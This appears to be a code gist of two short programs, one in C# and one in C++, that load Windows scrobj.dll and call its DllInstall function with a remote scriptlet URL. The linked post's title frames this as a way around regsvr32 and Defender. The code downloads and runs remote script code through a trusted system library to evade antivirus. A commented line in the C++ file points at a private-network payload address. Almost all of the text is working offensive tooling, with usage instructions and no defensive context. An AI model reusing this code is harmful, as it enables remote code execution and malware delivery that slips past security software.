Call scrobj.dll in .net env without regsvr32

scrobj-call-csharp.cs

/*
 * Author: REInject
 * Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct
 * Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/
 */

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;

namespace scrobj_call_csharp
{
    static class NativeMethod
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    }

    class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
        private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);

        static void Main(string[] args)
        {
            if(args.Length == 0)
            {
                Console.WriteLine("Usage: \n\tscrobj-call-csharp.exe http://127.0.0.1/test.sct");
                return;
            }
            const string dllPath = "c:\\windows\\system32\\scrobj.dll";
            IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
            if(hDllScr == IntPtr.Zero)
            {
                var lasterror = Marshal.GetLastWin32Error();
                var innerEx = new Win32Exception(lasterror);
                innerEx.Data.Add("LastWin32Error", lasterror);

                throw new Exception("Can't load Dll " + dllPath, innerEx);
            }

            IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
            DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));

            fDllInstall(false, args[0]);
        }
    }
}

scrobj-call.cpp

/*
 * Author: REInject
 * Usage: scrobj-call.exe
 * Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/
 * Note: required clr
 */

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

int main()
{
    TCHAR* dllpath = _T("c:\\windows\\system32\\scrobj.dll");
    HMODULE hDllScr = LoadLibrary(dllpath);
    if (hDllScr == NULL)
    {
        puts("Load scrobj.dll fail!");
    }
    puts("Load scrobj.dll success!");
    printf("Address: %p\n", hDllScr);
    void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
    if (DllInstallProcAddr == NULL)
    {
        puts("Can not found DllInstall in scrobj.dll!");
    }
    printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
    //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
    ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1\\ttt.txt");
    return 0;
}